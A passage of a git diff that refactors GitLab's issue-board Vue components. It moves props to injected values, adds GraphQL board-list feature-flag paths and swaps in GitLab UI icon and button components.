- eventHub.$emit('clearDetailIssue', isMultiSelect);
-
- if (isMultiSelect) {
- eventHub.$emit('newDetailIssue', this.issue, isMultiSelect);
- }
- } else {
+ if (isMultiSelect) {
eventHub.$emit('newDetailIssue', this.issue, isMultiSelect);
- boardsStore.setListDetail(this.list);
}
+ } else {
+ eventHub.$emit('newDetailIssue', this.issue, isMultiSelect);
+ boardsStore.setListDetail(this.list);
}
},
},
@@ -102,28 +50,12 @@ export default {
</script>
<template>
- <li
- :class="{
- 'multi-select': multiSelectVisible,
- 'user-can-drag': !disabled && issue.id,
- 'is-disabled': disabled || !issue.id,
- 'is-active': issueDetailVisible,
- }"
- :index="index"
- :data-issue-id="issue.id"
+ <board-card-layout
data-qa-selector="board_card"
- class="board-card p-3 rounded"
- @mousedown="mouseDown"
- @mousemove="mouseMove"
- @mouseup="showIssue($event)"
- >
- <issue-card-inner
- :list="list"
- :issue="issue"
- :issue-link-base="issueLinkBase"
- :group-id="groupId"
- :root-path="rootPath"
- :update-filters="true"
- />
- </li>
+ :issue="issue"
+ :list="list"
+ :is-active="isActive()"
+ v-bind="$attrs"
+ @show="showIssue"
+ />
</template>
diff --git a/app/assets/javascripts/boards/components/board_card_layout.vue b/app/assets/javascripts/boards/components/board_card_layout.vue
new file mode 100644
index 00000000000..072dd87861a
--- /dev/null
+++ b/app/assets/javascripts/boards/components/board_card_layout.vue
@@ -0,0 +1,93 @@
+<script>
+import IssueCardInner from './issue_card_inner.vue';
+import boardsStore from '../stores/boards_store';
+
+export default {
+ name: 'BoardsIssueCard',
+ components: {
+ IssueCardInner,
+ },
+ props: {
+ list: {
+ type: Object,
+ default: () => ({}),
+ required: false,
+ },
+ issue: {
+ type: Object,
+ default: () => ({}),
+ required: false,
+ },
+ disabled: {
+ type: Boolean,
+ default: false,
+ required: false,
+ },
+ index: {
+ type: Number,
+ default: 0,
+ required: false,
+ },
+ isActive: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ data() {
+ return {
+ showDetail: false,
+ multiSelect: boardsStore.multiSelect,
+ };
+ },
+ computed: {
+ multiSelectVisible() {
+ return this.multiSelect.list.findIndex(issue => issue.id === this.issue.id) > -1;
+ },
+ canMultiSelect() {
+ return gon.features && gon.features.multiSelectBoard;
+ },
+ },
+ methods: {
+ mouseDown() {
+ this.showDetail = true;
+ },
+ mouseMove() {
+ this.showDetail = false;
+ },
+ showIssue(e) {
+ // Don't do anything if this happened on a no trigger element
+ if (e.target.classList.contains('js-no-trigger')) return;
+
+ const isMultiSelect = this.canMultiSelect && (e.ctrlKey || e.metaKey);
+
+ if (this.showDetail || isMultiSelect) {
+ this.showDetail = false;
+ this.$emit('show', { event: e, isMultiSelect });
+ }
+ },
+ },
+};
+</script>
+
+<template>
+ <li
+ :class="{
+ 'multi-select': multiSelectVisible,
+ 'user-can-drag': !disabled && issue.id,
+ 'is-disabled': disabled || !issue.id,
+ 'is-active': isActive,
+ }"
+ :index="index"
+ :data-issue-id="issue.id"
+ :data-issue-iid="issue.iid"
+ :data-issue-path="issue.referencePath"
+ data-testid="board_card"
+ class="board-card p-3 rounded"
+ @mousedown="mouseDown"
+ @mousemove="mouseMove"
+ @mouseup="showIssue($event)"
+ >
+ <issue-card-inner :list="list" :issue="issue" :update-filters="true" />
+ </li>
+</template>
diff --git a/app/assets/javascripts/boards/components/board_column.vue b/app/assets/javascripts/boards/components/board_column.vue
index dae24338e45..6d216911798 100644
--- a/app/assets/javascripts/boards/components/board_column.vue
+++ b/app/assets/javascripts/boards/components/board_column.vue
@@ -1,9 +1,11 @@
<script>
+import { mapGetters, mapActions } from 'vuex';
import Sortable from 'sortablejs';
import isWipLimitsOn from 'ee_else_ce/boards/mixins/is_wip_limits';
import BoardListHeader from 'ee_else_ce/boards/components/board_list_header.vue';
import Tooltip from '~/vue_shared/directives/tooltip';
import EmptyComponent from '~/vue_shared/components/empty_component';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import BoardBlankState from './board_blank_state.vue';
import BoardList from './board_list.vue';
import boardsStore from '../stores/boards_store';
@@ -21,7 +23,7 @@ export default {
directives: {
Tooltip,
},
- mixins: [isWipLimitsOn],
+ mixins: [isWipLimitsOn, glFeatureFlagMixin()],
props: {
list: {
type: Object,
@@ -32,27 +34,15 @@ export default {
type: Boolean,
required: true,
},
- issueLinkBase: {
- type: String,
- required: true,
- },
- rootPath: {
- type: String,
- required: true,
- },
- boardId: {
- type: String,
- required: true,
- },
canAdminList: {
type: Boolean,
required: false,
default: false,
},
- groupId: {
- type: Number,
- required: false,
- default: null,
+ },
+ inject: {
+ boardId: {
+ type: String,
},
},
data() {
@@ -62,6 +52,7 @@ export default {
};
},
computed: {
+ ...mapGetters(['getIssues']),
showBoardListAndBoardInfo() {
return this.list.type !== ListType.blank && this.list.type !== ListType.promotion;
},
@@ -69,19 +60,36 @@ export default {
// eslint-disable-next-line @gitlab/require-i18n-strings
return `boards.${this.boardId}.${this.list.type}.${this.list.id}`;
},
+ listIssues() {
+ if (!this.glFeatures.graphqlBoardLists) {
+ return this.list.issues;
+ }
+ return this.getIssues(this.list.id);
+ },
+ shouldFetchIssues() {
+ return this.glFeatures.graphqlBoardLists && this.list.type !== ListType.blank;
+ },
},
watch: {
filter: {
handler() {
- this.list.page = 1;
- this.list.getIssues(true).catch(() => {
- // TODO: handle request error
- });
+ if (this.shouldFetchIssues) {
+ this.fetchIssuesForList(this.list.id);
+ } else {
+ this.list.page = 1;
+ this.list.getIssues(true).catch(() => {
+ // TODO: handle request error
+ });
+ }
},
deep: true,
},
},
mounted() {
+ if (this.shouldFetchIssues) {
+ this.fetchIssuesForList(this.list.id);
+ }
+
const instance = this;
const sortableOptions = getBoardSortableDefaultOptions({
@@ -108,6 +116,7 @@ export default {
Sortable.create(this.$el.parentNode, sortableOptions);
},
methods: {
+ ...mapActions(['fetchIssuesForList']),
showListNewIssueForm(listId) {
eventHub.$emit('showForm', listId);
},
@@ -130,22 +139,14 @@ export default {
<div
class="board-inner gl-display-flex gl-flex-direction-column gl-relative gl-h-full gl-rounded-base"
>
- <board-list-header
- :can-admin-list="canAdminList"
- :list="list"
- :disabled="disabled"
- :board-id="boardId"
- />
+ <board-list-header :can-admin-list="canAdminList" :list="list" :disabled="disabled" />
<board-list
v-if="showBoardListAndBoardInfo"
ref="board-list"
:disabled="disabled"
- :group-id="groupId || null"
- :issue-link-base="issueLinkBase"
- :issues="list.issues"
+ :issues="listIssues"
:list="list"
:loading="list.loading"
- :root-path="rootPath"
/>
<board-blank-state v-if="canAdminList && list.id === 'blank'" />
diff --git a/app/assets/javascripts/boards/components/board_content.vue b/app/assets/javascripts/boards/components/board_content.vue
index c42295792f1..c7b3da0e672 100644
--- a/app/assets/javascripts/boards/components/board_content.vue
+++ b/app/assets/javascripts/boards/components/board_content.vue
@@ -1,13 +1,15 @@
<script>
-import { mapState } from 'vuex';
+import { mapState, mapGetters, mapActions } from 'vuex';
import BoardColumn from 'ee_else_ce/boards/components/board_column.vue';
-import EpicsSwimlanes from 'ee_component/boards/components/epics_swimlanes.vue';
+import { GlAlert } from '@gitlab/ui';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
export default {
components: {
BoardColumn,
- EpicsSwimlanes,
+ BoardContentSidebar: () => import('ee_component/boards/components/board_content_sidebar.vue'),
+ EpicsSwimlanes: () => import('ee_component/boards/components/epics_swimlanes.vue'),
+ GlAlert,
},
mixins: [glFeatureFlagMixin()],
props: {
@@ -19,66 +21,58 @@ export default {
type: Boolean,
required: true,
},
- groupId: {
- type: Number,
- required: false,
- default: null,
- },
disabled: {
type: Boolean,
required: true,
},
- issueLinkBase: {
- type: String,
- required: true,
- },
- rootPath: {
- type: String,
- required: true,
- },
- boardId: {
- type: String,
- required: true,
- },
},
computed: {
- ...mapState(['isShowingEpicsSwimlanes', 'boardLists']),
- isSwimlanesOn() {
- return this.glFeatures.boardsWithSwimlanes && this.isShowingEpicsSwimlanes;
+ ...mapState(['boardLists', 'error']),
+ ...mapGetters(['isSwimlanesOn']),
+ boardListsToUse() {
+ return this.glFeatures.graphqlBoardLists ? this.boardLists : this.lists;
},
},
+ mounted() {
+ if (this.glFeatures.graphqlBoardLists) {
+ this.fetchLists();
+ this.showPromotionList();
+ }
+ },
+ methods: {
+ ...mapActions(['fetchLists', 'showPromotionList']),
+ },
};
</script>
<template>
<div>
+ <gl-alert v-if="error" variant="danger" :dismissible="false">
+ {{ error }}
+ </gl-alert>
<div
v-if="!isSwimlanesOn"
class="boards-list gl-w-full gl-py-5 gl-px-3 gl-white-space-nowrap"
data-qa-selector="boards_list"
>
<board-column
- v-for="list in lists"
+ v-for="list in boardListsToUse"
:key="list.id"
ref="board"
:can-admin-list="canAdminList"
- :group-id="groupId"
:list="list"
:disabled="disabled"
- :issue-link-base="issueLinkBase"
- :root-path="rootPath"
- :board-id="boardId"
/>
</div>
- <epics-swimlanes
- v-else
- ref="swimlanes"
- :lists="boardLists"
- :can-admin-list="canAdminList"
- :disabled="disabled"
- :board-id="boardId"
- :group-id="groupId"
- :root-path="rootPath"
- />
+
+ <template v-else>
+ <epics-swimlanes
+ ref="swimlanes"
+ :lists="boardLists"
+ :can-admin-list="canAdminList"
+ :disabled="disabled"
+ />
+ <board-content-sidebar />
+ </template>
</div>
</template>
diff --git a/app/assets/javascripts/boards/components/board_form.vue b/app/assets/javascripts/boards/components/board_form.vue
index 231059b895e..385dd5fdc71 100644
--- a/app/assets/javascripts/boards/components/board_form.vue
+++ b/app/assets/javascripts/boards/components/board_form.vue
@@ -25,11 +25,11 @@ export default {
type: Boolean,
required: true,
},
- milestonePath: {
+ labelsPath: {
type: String,
required: true,
},
- labelsPath: {
+ labelsWebUrl: {
type: String,
required: true,
},
@@ -201,8 +201,8 @@ export default {
:collapse-scope="isNewForm"
:board="board"
:can-admin-board="canAdminBoard"
- :milestone-path="milestonePath"
:labels-path="labelsPath"
+ :labels-web-url="labelsWebUrl"
:enable-scoped-labels="enableScopedLabels"
:project-id="projectId"
:group-id="groupId"
diff --git a/app/assets/javascripts/boards/components/board_list.vue b/app/assets/javascripts/boards/components/board_list.vue
index 1a26782f6f0..25f8ffca633 100644
--- a/app/assets/javascripts/boards/components/board_list.vue
+++ b/app/assets/javascripts/boards/components/board_list.vue
@@ -6,6 +6,7 @@ import boardCard from './board_card.vue';
import eventHub from '../eventhub';
import boardsStore from '../stores/boards_store';
import { sprintf, __ } from '~/locale';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import {
getBoardSortableDefaultOptions,
@@ -24,12 +25,8 @@ export default {
boardNewIssue,
GlLoadingIcon,
},
+ mixins: [glFeatureFlagMixin()],
props: {
- groupId: {
- type: Number,
- required: false,
- default: 0,
- },
disabled: {
type: Boolean,
required: true,
@@ -46,14 +43,6 @@ export default {
type: Boolean,
required: true,
},
- issueLinkBase: {
- type: String,
- required: true,
- },
- rootPath: {
- type: String,
- required: true,
- },
},
data() {
return {
@@ -83,6 +72,7 @@ export default {
deep: true,
},
issues() {
+ if (this.glFeatures.graphqlBoardLists) return;
this.$nextTick(() => {
if (
this.scrollHeight() <= this.listHeight() &&
@@ -413,6 +403,8 @@ export default {
this.showIssueForm = !this.showIssueForm;
},
onScroll() {
+ if (this.glFeatures.graphqlBoardLists) return;
+
if (!this.list.loadingMore && this.scrollTop() > this.scrollHeight() - this.scrollOffset) {
this.loadNextPage();
}
@@ -430,11 +422,7 @@ export default {
<div v-if="loading" class="board-list-loading text-center" :aria-label="__('Loading issues')">
<gl-loading-icon />
</div>
- <board-new-issue
- v-if="list.type !== 'closed' && showIssueForm"
- :group-id="groupId"
- :list="list"
- />
+ <board-new-issue v-if="list.type !== 'closed' && showIssueForm" :list="list" />
<ul
v-show="!loading"
ref="list"
@@ -450,9 +438,6 @@ export default {
:index="index"
:list="list"
:issue="issue"
- :issue-link-base="issueLinkBase"
- :group-id="groupId"
- :root-path="rootPath"
:disabled="disabled"
/>
<li v-if="showCount" class="board-list-count text-center" data-issue-id="-1">
diff --git a/app/assets/javascripts/boards/components/board_list_header.vue b/app/assets/javascripts/boards/components/board_list_header.vue
index bafe07afb48..361fe252afb 100644
--- a/app/assets/javascripts/boards/components/board_list_header.vue
+++ b/app/assets/javascripts/boards/components/board_list_header.vue
@@ -1,4 +1,5 @@
<script>
+import { mapActions } from 'vuex';
import {
GlButton,
GlButtonGroup,
@@ -17,6 +18,7 @@ import boardsStore from '../stores/boards_store';
import eventHub from '../eventhub';
import { ListType } from '../constants';
import { isScopedLabel } from '~/lib/utils/common_utils';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
export default {
components: {
@@ -32,7 +34,7 @@ export default {
directives: {
GlTooltip: GlTooltipDirective,
},
- mixins: [isWipLimitsOn],
+ mixins: [isWipLimitsOn, glFeatureFlagMixin()],
props: {
list: {
type: Object,
@@ -43,10 +45,6 @@ export default {
type: Boolean,
required: true,
},
- boardId: {
- type: String,
- required: true,
- },
canAdminList: {
type: Boolean,
required: false,
@@ -58,6 +56,11 @@ export default {
default: false,
},
},
+ inject: {
+ boardId: {
+ type: String,
+ },
+ },
data() {
return {
weightFeatureAvailable: false,
@@ -94,10 +97,11 @@ export default {
showAssigneeListDetails() {
return this.list.type === 'assignee' && (this.list.isExpanded || !this.isSwimlanesHeader);
},
+ issuesCount() {
+ return this.list.issuesSize;
+ },
issuesTooltipLabel() {
- const { issuesSize } = this.list;
-
- return n__(`%d issue`, `%d issues`, issuesSize);
+ return n__(`%d issue`, `%d issues`, this.issuesCount);
},
chevronTooltip() {
return this.list.isExpanded ? s__('Boards|Collapse') : s__('Boards|Expand');
@@ -126,8 +130,12 @@ export default {
collapsedTooltipTitle() {
return this.listTitle || this.listAssignee;
},
+ shouldDisplaySwimlanes() {
+ return this.glFeatures.boardsWithSwimlanes && this.isSwimlanesOn;
+ },
},
methods: {
+ ...mapActions(['updateList']),
showScopedLabels(label) {
return boardsStore.scopedLabels.enabled && isScopedLabel(label);
},
@@ -136,20 +144,28 @@ export default {
eventHub.$emit(`toggle-issue-form-${this.list.id}`);
},
toggleExpanded() {
- if (this.list.isExpandable) {
- this.list.isExpanded = !this.list.isExpanded;
-
- if (AccessorUtilities.isLocalStorageAccessSafe() && !this.isLoggedIn) {
- localStorage.setItem(`${this.uniqueKey}.expanded`, this.list.isExpanded);
- }
+ this.list.isExpanded = !this.list.isExpanded;
- if (this.isLoggedIn) {
- this.list.update();
- }
+ if (!this.isLoggedIn) {
+ this.addToLocalStorage();
+ } else {
+ this.updateListFunction();
+ }
- // When expanding/collapsing, the tooltip on the caret button sometimes stays open.
- // Close all tooltips manually to prevent dangling tooltips.
- this.$root.$emit('bv::hide::tooltip');
+ // When expanding/collapsing, the tooltip on the caret button sometimes stays open.
+ // Close all tooltips manually to prevent dangling tooltips.
+ this.$root.$emit('bv::hide::tooltip');
+ },
+ addToLocalStorage() {
+ if (AccessorUtilities.isLocalStorageAccessSafe()) {
+ localStorage.setItem(`${this.uniqueKey}.expanded`, this.list.isExpanded);
+ }
+ },
+ updateListFunction() {
+ if (this.shouldDisplaySwimlanes || this.glFeatures.graphqlBoardLists) {
+ this.updateList({ listId: this.list.id, collapsed: !this.list.isExpanded });
+ } else {
+ this.list.update();
}
},
},
@@ -172,7 +188,7 @@ export default {
<h3
:class="{
'user-can-drag': !disabled && !list.preset,
- 'gl-py-3': !list.isExpanded && !isSwimlanesHeader,
+ 'gl-py-3 gl-h-full': !list.isExpanded && !isSwimlanesHeader,
'gl-border-b-0': !list.isExpanded || isSwimlanesHeader,
'gl-py-2': !list.isExpanded && isSwimlanesHeader,
}"
@@ -288,7 +304,7 @@ export default {
<gl-tooltip :target="() => $refs.issueCount" :title="issuesTooltipLabel" />
<span ref="issueCount" class="issue-count-badge-count">
<gl-icon class="gl-mr-2" name="issues" />
- <issue-count :issues-size="list.issuesSize" :max-issue-count="list.maxIssueCount" />
+ <issue-count :issues-size="issuesCount" :max-issue-count="list.maxIssueCount" />
</span>
<!-- The following is only true in EE. -->
<template v-if="weightFeatureAvailable">
diff --git a/app/assets/javascripts/boards/components/board_new_issue.vue b/app/assets/javascripts/boards/components/board_new_issue.vue
index 34e8438ba4c..348d485ff37 100644
--- a/app/assets/javascripts/boards/components/board_new_issue.vue
+++ b/app/assets/javascripts/boards/components/board_new_issue.vue
@@ -1,11 +1,13 @@
<script>
import $ from 'jquery';
+import { mapActions, mapGetters } from 'vuex';
import { GlButton } from '@gitlab/ui';
import { getMilestone } from 'ee_else_ce/boards/boards_util';
import ListIssue from 'ee_else_ce/boards/models/issue';
import eventHub from '../eventhub';
import ProjectSelect from './project_select.vue';
import boardsStore from '../stores/boards_store';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
export default {
name: 'BoardNewIssue',
@@ -13,17 +15,18 @@ export default {
ProjectSelect,
GlButton,
},
+ mixins: [glFeatureFlagMixin()],
props: {
- groupId: {
- type: Number,
- required: false,
- default: 0,
- },
list: {
type: Object,
required: true,
},
},
+ inject: {
+ groupId: {
+ type: Number,
+ },
+ },
data() {
return {
title: '',
@@ -32,18 +35,23 @@ export default {
};
},
computed: {
+ ...mapGetters(['isSwimlanesOn']),
disabled() {
if (this.groupId) {
return this.title === '' || !this.selectedProject.name;
}
return this.title === '';
},
+ shouldDisplaySwimlanes() {
+ return this.glFeatures.boardsWithSwimlanes && this.isSwimlanesOn;
+ },
},
mounted() {
this.$refs.input.focus();
eventHub.$on('setSelectedProject', this.setSelectedProject);
},
methods: {
+ ...mapActions(['addListIssue', 'addListIssueFailure']),
submit(e) {
e.preventDefault();
if (this.title.trim() === '') return Promise.resolve();
@@ -70,21 +78,31 @@ export default {
eventHub.$emit(`scroll-board-list-${this.list.id}`);
this.cancel();
+ if (this.shouldDisplaySwimlanes || this.glFeatures.graphqlBoardLists) {
+ this.addListIssue({ list: this.list, issue, position: 0 });
+ }
+
return this.list
.newIssue(issue)
.then(() => {
// Need this because our jQuery very kindly disables buttons on ALL form submissions
$(this.$refs.submitButton).enable();
- boardsStore.setIssueDetail(issue);
- boardsStore.setListDetail(this.list);
+ if (!this.shouldDisplaySwimlanes && !this.glFeatures.graphqlBoardLists) {
+ boardsStore.setIssueDetail(issue);
+ boardsStore.setListDetail(this.list);
+ }
})
.catch(() => {
// Need this because our jQuery very kindly disables buttons on ALL form submissions
$(this.$refs.submitButton).enable();
// Remove the issue
- this.list.removeIssue(issue);
+ if (this.shouldDisplaySwimlanes || this.glFeatures.graphqlBoardLists) {
+ this.addListIssueFailure({ list: this.list, issue });
+ } else {
+ this.list.removeIssue(issue);
+ }
// Show error message
this.error = true;
@@ -121,7 +139,7 @@ export default {
<project-select v-if="groupId" :group-id="groupId" :list="list" />
<div class="clearfix gl-mt-3">
<gl-button
- ref="submit-button"
+ ref="submitButton"
:disabled="disabled"
class="float-left"
variant="success"
@@ -129,9 +147,14 @@ export default {
type="submit"
>{{ __('Submit issue') }}</gl-button
>
- <gl-button class="float-right" type="button" variant="default" @click="cancel">{{
- __('Cancel')
- }}</gl-button>
+ <gl-button
+ ref="cancelButton"
+ class="float-right"
+ type="button"
+ variant="default"
+ @click="cancel"
+ >{{ __('Cancel') }}</gl-button
+ >
</div>
</form>
</div>
diff --git a/app/assets/javascripts/boards/components/board_settings_sidebar.vue b/app/assets/javascripts/boards/components/board_settings_sidebar.vue
index 3149762ecdf..e2600883e89 100644
--- a/app/assets/javascripts/boards/components/board_settings_sidebar.vue
+++ b/app/assets/javascripts/boards/components/board_settings_sidebar.vue
@@ -1,11 +1,12 @@
<script>
import { GlDrawer, GlLabel } from '@gitlab/ui';
-import { mapActions, mapState } from 'vuex';
+import { mapActions, mapState, mapGetters } from 'vuex';
import { __ } from '~/locale';
import boardsStore from '~/boards/stores/boards_store';
import eventHub from '~/sidebar/event_hub';
import { isScopedLabel } from '~/lib/utils/common_utils';
-import { inactiveId } from '~/boards/constants';
+import { LIST } from '~/boards/constants';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
// NOTE: need to revisit how we handle headerHeight, because we have so many different header and footer options.
export default {
@@ -23,18 +24,20 @@ export default {
BoardSettingsListTypes: () =>
import('ee_component/boards/components/board_settings_list_types.vue'),
},
+ mixins: [glFeatureFlagMixin()],
computed: {
- ...mapState(['activeId']),
+ ...mapGetters(['isSidebarOpen']),
+ ...mapState(['activeId', 'sidebarType', 'boardLists']),
activeList() {
/*
Warning: Though a computed property it is not reactive because we are
referencing a List Model class. Reactivity only applies to plain JS objects
*/
+ if (this.glFeatures.graphqlBoardLists) {
+ return this.boardLists.find(({ id }) => id === this.activeId);
+ }
return boardsStore.state.lists.find(({ id }) => id === this.activeId);
},
- isSidebarOpen() {
- return this.activeId !== inactiveId;
- },
activeListLabel() {
return this.activeList.label;
},
@@ -44,18 +47,18 @@ export default {
listTypeTitle() {
return this.$options.labelListText;
},
+ showSidebar() {
+ return this.sidebarType === LIST;
+ },
},
created() {
- eventHub.$on('sidebar.closeAll', this.closeSidebar);
+ eventHub.$on('sidebar.closeAll', this.unsetActiveId);
},
beforeDestroy() {
- eventHub.$off('sidebar.closeAll', this.closeSidebar);
+ eventHub.$off('sidebar.closeAll', this.unsetActiveId);
},
methods: {
- ...mapActions(['setActiveId']),
- closeSidebar() {
- this.setActiveId(inactiveId);
- },
+ ...mapActions(['unsetActiveId']),
showScopedLabels(label) {
return boardsStore.scopedLabels.enabled && isScopedLabel(label);
},
@@ -65,10 +68,11 @@ export default {
<template>
<gl-drawer
+ v-if="showSidebar"
class="js-board-settings-sidebar"
:open="isSidebarOpen"
:header-height="$options.headerHeight"
- @close="closeSidebar"
+ @close="unsetActiveId"
>
<template #header>{{ $options.listSettingsText }}</template>
<template v-if="isSidebarOpen">
diff --git a/app/assets/javascripts/boards/components/board_sidebar.js b/app/assets/javascripts/boards/components/board_sidebar.js
index 3790c494085..d26f15c1723 100644
--- a/app/assets/javascripts/boards/components/board_sidebar.js
+++ b/app/assets/javascripts/boards/components/board_sidebar.js
@@ -83,7 +83,7 @@ export default Vue.extend({
$('.js-issue-board-sidebar', this.$el).each((i, el) => {
$(el)
- .data('glDropdown')
+ .data('deprecatedJQueryDropdown')
.clearMenu();
});
}
@@ -95,7 +95,7 @@ export default Vue.extend({
},
},
created() {
- // Get events from glDropdown
+ // Get events from deprecatedJQueryDropdown
eventHub.$on('sidebar.removeAssignee', this.removeAssignee);
eventHub.$on('sidebar.addAssignee', this.addAssignee);
eventHub.$on('sidebar.removeAllAssignees', this.removeAllAssignees);
diff --git a/app/assets/javascripts/boards/components/boards_selector.vue b/app/assets/javascripts/boards/components/boards_selector.vue
index 48f6ba6cfc7..271e1fc4b5f 100644
--- a/app/assets/javascripts/boards/components/boards_selector.vue
+++ b/app/assets/javascripts/boards/components/boards_selector.vue
@@ -36,10 +36,6 @@ export default {
type: Object,
required: true,
},
- milestonePath: {
- type: String,
- required: true,
- },
throttleDuration: {
type: Number,
default: 200,
@@ -65,6 +61,10 @@ export default {
type: String,
required: true,
},
+ labelsWebUrl: {
+ type: String,
+ required: true,
+ },
projectId: {
type: Number,
required: true,
@@ -335,8 +335,8 @@ export default {
<board-form
v-if="currentPage"
- :milestone-path="milestonePath"
:labels-path="labelsPath"
+ :labels-web-url="labelsWebUrl"
:project-id="projectId"
:group-id="groupId"
:can-admin-board="canAdminBoard"
diff --git a/app/assets/javascripts/boards/components/issuable_title.vue b/app/assets/javascripts/boards/components/issuable_title.vue
new file mode 100644
index 00000000000..40627a9fab8
--- /dev/null
+++ b/app/assets/javascripts/boards/components/issuable_title.vue
@@ -0,0 +1,21 @@
+<script>
+export default {
+ props: {
+ title: {
+ type: String,
+ required: true,
+ },
+ refPath: {
+ type: String,
+ required: true,
+ },
+ },
+};
+</script>
+
+<template>
+ <div data-testid="issue-title">
+ <p class="gl-font-weight-bold">{{ title }}</p>
+ <p class="gl-mb-0">{{ refPath }}</p>
+ </div>
+</template>
diff --git a/app/assets/javascripts/boards/components/issue_card_inner.vue b/app/assets/javascripts/boards/components/issue_card_inner.vue
index d90928f35b6..8658f51e5cf 100644
--- a/app/assets/javascripts/boards/components/issue_card_inner.vue
+++ b/app/assets/javascripts/boards/components/issue_card_inner.vue
@@ -1,10 +1,9 @@
<script>
import { sortBy } from 'lodash';
import { mapState } from 'vuex';
-import { GlLabel, GlTooltipDirective } from '@gitlab/ui';
+import { GlLabel, GlTooltipDirective, GlIcon } from '@gitlab/ui';
import issueCardInner from 'ee_else_ce/boards/mixins/issue_card_inner';
import { sprintf, __ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
import UserAvatarLink from '../../vue_shared/components/user_avatar/user_avatar_link.vue';
import IssueDueDate from './issue_due_date.vue';
@@ -15,7 +14,7 @@ import { isScopedLabel } from '~/lib/utils/common_utils';
export default {
components: {
GlLabel,
- Icon,
+ GlIcon,
UserAvatarLink,
TooltipOnTruncate,
IssueDueDate,
@@ -31,28 +30,23 @@ export default {
type: Object,
required: true,
},
- issueLinkBase: {
- type: String,
- required: true,
- },
list: {
type: Object,
required: false,
default: () => ({}),
},
- rootPath: {
- type: String,
- required: true,
- },
updateFilters: {
type: Boolean,
required: false,
default: false,
},
+ },
+ inject: {
groupId: {
type: Number,
- required: false,
- default: null,
+ },
+ rootPath: {
+ type: String,
},
},
data() {
@@ -148,7 +142,7 @@ export default {
<div>
<div class="d-flex board-card-header" dir="auto">
<h4 class="board-card-title gl-mb-0 gl-mt-0">
- <icon
+ <gl-icon
v-if="issue.blocked"
v-gl-tooltip
name="issue-block"
@@ -156,7 +150,7 @@ export default {
class="issue-blocked-icon gl-mr-2"
:aria-label="__('Blocked issue')"
/>
- <icon
+ <gl-icon
v-if="issue.confidential"
v-gl-tooltip
name="eye-slash"
diff --git a/app/assets/javascripts/boards/components/issue_due_date.vue b/app/assets/javascripts/boards/components/issue_due_date.vue
index 4add5ee646a..fb45de6e14d 100644
--- a/app/assets/javascripts/boards/components/issue_due_date.vue
+++ b/app/assets/javascripts/boards/components/issue_due_date.vue
@@ -1,7 +1,6 @@
<script>
import dateFormat from 'dateformat';
-import { GlTooltip } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlTooltip, GlIcon } from '@gitlab/ui';
import { __ } from '~/locale';
import {
getDayDifference,
@@ -12,7 +11,7 @@ import {
export default {
components: {
- Icon,
+ GlIcon,
GlTooltip,
},
props: {
@@ -87,7 +86,7 @@ export default {
<template>
<span>
<span ref="issueDueDate" :class="cssClass" class="board-card-info card-number">
- <icon :class="{ 'text-danger': isPastDue }" class="board-card-info-icon" name="calendar" />
+ <gl-icon :class="{ 'text-danger': isPastDue }" class="board-card-info-icon" name="calendar" />
<time :class="{ 'text-danger': isPastDue }" datetime="date" class="board-card-info-text">{{
body
}}</time>
diff --git a/app/assets/javascripts/boards/components/issue_time_estimate.vue b/app/assets/javascripts/boards/components/issue_time_estimate.vue
index e8b7689da13..fe56833016e 100644
--- a/app/assets/javascripts/boards/components/issue_time_estimate.vue
+++ b/app/assets/javascripts/boards/components/issue_time_estimate.vue
@@ -1,12 +1,11 @@
<script>
-import { GlTooltip } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlTooltip, GlIcon } from '@gitlab/ui';
import { parseSeconds, stringifyTime } from '~/lib/utils/datetime_utility';
import boardsStore from '../stores/boards_store';
export default {
components: {
- Icon,
+ GlIcon,
GlTooltip,
},
props: {
@@ -34,7 +33,7 @@ export default {
<template>
<span>
<span ref="issueTimeEstimate" class="board-card-info card-number">
- <icon name="hourglass" class="board-card-info-icon" /><time class="board-card-info-text">{{
+ <gl-icon name="hourglass" class="board-card-info-icon" /><time class="board-card-info-text">{{
timeEstimate
}}</time>
</span>
diff --git a/app/assets/javascripts/boards/components/modal/empty_state.vue b/app/assets/javascripts/boards/components/modal/empty_state.vue
index 66f59009714..cd4512f320f 100644
--- a/app/assets/javascripts/boards/components/modal/empty_state.vue
+++ b/app/assets/javascripts/boards/components/modal/empty_state.vue
@@ -1,9 +1,14 @@
<script>
+/* eslint-disable vue/no-v-html */
+import { GlButton } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
import ModalStore from '../../stores/modal_store';
import modalMixin from '../../mixins/modal_mixins';
export default {
+ components: {
+ GlButton,
+ },
mixins: [modalMixin],
props: {
newIssuePath: {
@@ -53,17 +58,22 @@ export default {
<div class="text-content">
<h4>{{ contents.title }}</h4>
<p v-html="contents.content"></p>
- <a v-if="activeTab === 'all'" :href="newIssuePath" class="btn btn-success btn-inverted">{{
- __('New issue')
- }}</a>
- <button
+ <gl-button
+ v-if="activeTab === 'all'"
+ :href="newIssuePath"
+ category="secondary"
+ variant="success"
+ >
+ {{ __('New issue') }}
+ </gl-button>
+ <gl-button
v-if="activeTab === 'selected'"
- class="btn btn-default"
- type="button"
+ category="primary"
+ variant="default"
@click="changeTab('all')"
>
{{ __('Open issues') }}
- </button>
+ </gl-button>
</div>
</div>
</div>
diff --git a/app/assets/javascripts/boards/components/modal/footer.vue b/app/assets/javascripts/boards/components/modal/footer.vue
index c4953dda793..d28a03da97f 100644
--- a/app/assets/javascripts/boards/components/modal/footer.vue
+++ b/app/assets/javascripts/boards/components/modal/footer.vue
@@ -1,4 +1,5 @@
<script>
+import { GlButton } from '@gitlab/ui';
import footerEEMixin from 'ee_else_ce/boards/mixins/modal_footer';
import { deprecatedCreateFlash as Flash } from '../../../flash';
import { __, n__ } from '../../../locale';
